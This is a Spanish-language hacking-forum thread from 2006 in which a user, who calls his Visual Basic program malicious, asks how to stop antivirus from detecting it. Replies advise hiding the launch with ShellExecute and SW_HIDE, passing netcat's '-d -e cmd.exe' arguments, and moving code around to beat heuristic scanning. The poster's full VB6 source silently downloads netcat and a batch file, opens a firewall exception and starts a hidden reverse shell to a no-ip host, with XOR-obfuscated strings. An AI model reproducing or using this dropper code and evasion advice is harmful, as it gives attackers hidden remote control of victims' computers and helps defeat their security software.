Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: ジ en 5 Junio 2006, 18:35 pm



Título: Porblema con Shell
Publicado por: en 5 Junio 2006, 18:35 pm
Buenas pues stoy escribiendo una app ..en vb..jeje, no es un trojan, pero si maliciosa XDDD  decir que es indetectable...hasta el momento en que ponga en el codigo ( en cualkier parte , x lo menos de las que lo he puesto) Shell, como ponga shell en cualquier parte del codec...inluc esto señores... Shell ("calc").....ya salta el nod32 cuando voy a compilar y lo detecta como nuevo virus por heruistica....ya digo...hasta si pongo que ejeucte la calculadora como ejemplo lo detcta...( lo puse para probar y canta nod32 )..no se porque si pongo simplmente Shell n la parte que sea del codec me lo detecta nod32...mientras no ponga shell sigue siendo indetectable...alguien tiene una idea de que pueda ser.............yo...estoy trabao. salu2.


Título: Re: Porblema con Shell
Publicado por: LuckyMonkey en 5 Junio 2006, 18:58 pm
prueba con shellexecute y a una mala createprocess


Título: Re: Porblema con Shell
Publicado por: en 5 Junio 2006, 19:03 pm
 :huh: LuckyFox: no entendiste esto: y una mala createprocess  :huh: disuclpame pero no entiendo que quieres decir...y una duda..lo que quiero ejecutar con shell es netcat + cmd seria una sintasis haci con shell ("cmd.exe /c winnc -d -e cmd.exe mihost miport"), vbHide ....podria hacer eso.....pero..como tú dices, con shellexecute ? ( tb oculto..como el vbhide de shell )..si es asi dimelo...porque me hibas ha ayudar un huevo, thanks man. espero respuesta, salu2.


Título: Re: Porblema con Shell
Publicado por: en 5 Junio 2006, 20:24 pm
 :huh: Nadie me puede ayudar con eso ?


Título: Re: Porblema con Shell
Publicado por: WarGhost en 5 Junio 2006, 21:17 pm
puedes usar shellexecute pero ami no me salta con shell o prueva escriptado el programa que quieras ejecutar.

;D Salu2, WarGhost


Título: Re: Porblema con Shell
Publicado por: _Sergi_ en 5 Junio 2006, 23:46 pm
Intenta estructurar un poquito tus post. Ya sabes, párrafos, comas, palabras completas... y esas cosas. ¡Así es más fácil ayudarte!

En primer lugar es difícil que por usar esa instrucción te salte el Nod32 Antivirus...... Shell no es una instrucción intrínsecamente maligna. Me explico mejor... si yo creo ahora un proyecto en VB, hago un  botón, y escribo
 
Código:
Shell("calc.exe")
... el Nod32 Antivirus no va a saltar. (Obviamente)

Por tanto el problema está en el resto de tu código. Quizás en ese contexto Shell haga saltar al antivirus. En ese caso, cambiar esta instrucción por otra no solucionaría el problema, por lo menos tal y como yo lo entiendo.

Un saludo!




Título: Re: Porblema con Shell
Publicado por: en 6 Junio 2006, 02:36 am
_Sergi_...si gracias man no tomes a mal lo que te voy a decir..mi ortografia no sera buena pero mas que sea es legible ;) esa es una, la 2ª es que ya se que shell no es una instruccion como tú dices maligna , la he usado muchas veces...amigo..simplemente dije que si pongo en cualquier parte del codigo shell...me lo detecta como virus..sino lo pongo no la detecta..dije,...no se que podra ser..por eso mismo..no se con que parte del codigo puede estar relacionando nod32 esa isntrcuion ( shell ) como brusca, peligrosa como quieras decirlo, pero muchas garcias man, no más si me molesto lo de la ortagrafia...man te aseguro que en este foro cuando me registre por primera vez habia que descifrar mis post ;) y creo que he dado un cambio, no seas " tan duro", más fácil, si me quieres ayudar :) perfecto pero no..me intentes..como castigar..buscandome el fallo :) nunca yo te he echo ni a nadie, no mas diciendote lo que pienso aparte del tema de lo que va el post, te lo digo pa que lo sepas porque no soy de esas señoritas que van diciendo por detras yo te lo digo ati para que tú lo leas y ya te dije de buen royo todo esto..pero no me trates como bobo men :), thanks por los consejos y salu2.


Título: Re: Porblema con Shell
Publicado por: _Sergi_ en 6 Junio 2006, 03:04 am
Citar
te lo digo pa que lo sepas porque no soy de esas señoritas que van diciendo por detras yo te lo digo ati para que tú lo leas y ya te dije de buen royo todo esto..pero no me trates como bobo men
Gracias por decirlo; que sepas que mi intención no era ni mucho menos tratarte como bobo; aún asi perdona si lo hice.

Volviendo a tu pregunta, si quieres en vez de Shell puedes usar la API ShellExecute.

Por ejemplo, imagina que quiero ejecutar la calculadora de Windows al cargarse el formulario. El código sería algo así

Código:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1
Private Sub Form_Load()
ShellExecute Me.hwnd, vbNullString, "C:\WINDOWS\CALC.EXE", vbNullString, "C:\", SW_SHOWNORMAL
End Sub

Saludos y espero que el antivirus no te salte más!  ;)


Título: Re: Porblema con Shell
Publicado por: en 6 Junio 2006, 17:28 pm
_Sergi_:

okis perfecto, no pasa na man ;), a lo de usar ShellExecute bien, pero podria tú cres ejecutar esto: (con esa api) nc.exe -d -e cmd.exe mi host miport ??? podria..se que tb se puede ocultar con SW_HIDE o con 0 pero eso...puedo? es que no me hago la idea de como seria...como yo lo intente no anda, quiero decir que no ejecuta netcat + parametros + cmd...no me lo deja preparado :P , pero si ejecuto cmd....lo corre en modo oculto , lo mismo para el netcta pero como te dije lo que yo quiero no, o alomejor lo hago mal la sintasis ;) bueno .salu2. Muchas gracias man.


Título: Re: Porblema con Shell
Publicado por: _Sergi_ en 6 Junio 2006, 18:07 pm
Postea el código que usaste para ver donde puede estar el error

Saludos


Título: Re: Porblema con Shell
Publicado por: LuckyMonkey en 7 Junio 2006, 16:23 pm
Para empezar lo que dice _Sergi_ és cierto, no és shell el que te hace que te salte el nod o el zonealarm o lo que sea.
El problema está en que shell ejecuta a cmd.exe y lo detecta cómo peligroso, así que shellexecute no te solucionará nada.
De todos por si quieres probarlo los parametrós de nc.exe -d -e cmd.exe osea -d -e cmd.exe. tienes que pasarlos en el parámetro de la api lpParameters

queadría así

shellexecute vbnullstring,"Open","c:\nc.exe","-d -e cmd.exe","aqui el path inicial al ejecutarlo o vbnullstring",SW_HIDE
El primer parámetro mejor que sea vbnullstring así no habrá ninguna relación explicita entre tu programa y el programa ejecutado. El path inicial es un parámetro que se les pasa a los programas para establecer el directorio de trabajo, si hicieras cmd.exe y directorio de trabajo c:\windows por ejemplo al ejecutarse estarías inicialmente en esa carpeta.
La última constante no recuerdo si era exactamente así mejor buscala en la msdn.

Citar
y una mala createprocess  huh disuclpame pero no entiendo que quieres decir..
Me refiero a que como última opción (por ser más complicada que las anteriores, aunque tampoco mucho mas) puedes probar a utilizar dicha api para ejecutar tu programa.


Título: Re: Porblema con Shell
Publicado por: en 7 Junio 2006, 19:22 pm
Buenas pongo el codigo haber si alguien asi le queda más claro de porque me lo detecta nod32, panda y antivir ( solo estos 3 )
 es una aplicacion que descarga netcat de modo silencioso, lo guarda en c y lo copia a system32, luego baja un bat tb que lo ejecuta y nos da paso el fw de windows (nos incluye en la lista de programas permitidos) y por último ejecuta el netcat para hacer reverse shell, salu2. Pongo el codigo:

Código:
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Const SW_NORMAL = 1
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long     'api necesaria para el descargar algo de internet

Option Explicit



Private Sub Form_Load()

Text1.Text = Cript(Text1.Text, 3)
Text2.Text = Cript(Text2.Text, 3)
Text3.Text = Cript(Text3.Text, 3)

DownloadFile "http://host.usr/my_user/nc.exe", DesCript(Text1.Text, 3)
End Sub

[color=Red]Funcion que no permite descargar un archivo desde vb:[/color]

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean 
    Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then DownloadFile = True
End Function

[color=Brown]Timer que permite copiar el netcat desde c a system32 en winXP[/color]

Private Sub Timer_copync_Timer()
On Error Resume Next
FileCopy DesCript(Text1.Text, 3), DesCript(Text2.Text, 3) 'copia el netcat a system32 en win xp
Timer_copync.Enabled = False
End Sub

[color=Brown]Timer que permite copiar el netcat desde c a system32 en win2000[/color]

Private Sub Timer_copync2k_Timer()
On Error Resume Next
FileCopy DesCript(Text1.Text, 3), DesCript(Text3.Text, 3)
Timer_copync2k.Enabled = False
End Sub

[color=Blue]Timer que ejecuta netcat + cmd con la sintasis que he elejido:[/color]

Private Sub Timer1_Timer()
On Error Resume Next
Shell ("cmd.exe /c winnc -d -e cmd.exe HOST.no-ip.com 6669"), vbHide
Timer1.Enabled = False
End Sub

[color=Green]Timer que hace que descarge un bat de un host ( y luego lo ejecute[/color]

Private Sub Timer2_Timer()
On Error Resume Next
Dim ejecuk As Long

DownloadFile "http://host.usr/my_user/nancy32.bat", "C:\WINDOWS\system32\nancy32.bat" 

ejecuk = ShellExecute(Me.hwnd, "Open", "c:\windows\system32\nancy32.bat", "", "", 1)

Timer2.Enabled = False
End Sub

[color=Red]Funcion para cifrar:[/color]

Private Function Cript(txt, Optional semilla = 45) As String
On Error Resume Next
Dim i
Dim l
Dim txt2


For i = 1 To Len(txt)
l = Mid(txt, i, 1)
l = 155 - Asc(l)
txt2 = txt2 + Chr(l)
Next
txt = txt2
For i = 1 To Len(txt)
l = Mid(txt, i, 1)
l = Asc(l) Xor semilla
Cript = Cript & l & Chr(164)
DoEvents
Next
End Function

[color=Red]Funcion para descifrar:[/color]

Private Function DesCript(txt, Optional semilla = 45) As String
On Error Resume Next
Dim i
Dim l
Dim pal
Dim txt3
Dim c

For i = 1 To Len(txt)
l = Mid(txt, i, 1)
If l = Chr(164) Then
l = pal Xor semilla
c = semilla Xor pal
l = Chr(l)
DesCript = DesCript & l
pal = ""
Else
pal = pal & l
End If
DoEvents
Next
For i = 1 To Len(DesCript)
l = Mid(DesCript, i, 1)
l = 155 - Asc(l)
txt3 = txt3 + Chr(l)
Next
DesCript = txt3
End Function


Título: Re: Porblema con Shell
Publicado por: en 8 Junio 2006, 16:18 pm
Podria ser como dicen en un post de troyanos y virus la combinacion de la api para descargar el file y de la instrucion shell lo que me este detectando nod32 ???


Título: Re: Porblema con Shell
Publicado por: NYlOn en 10 Junio 2006, 03:59 am
Si, es posible que la combinacion sea el problema. Tambien puede ser que detecte las modificaciones en el registro.
Intenta cambiar el codigo de lugar, es decir, sacar lo que esta en el Load y ponerlo en otro lado (un timer x ejemplo...).
Y te recomiendo que averigues como funciona el tema de la heuristica...

Saludos.-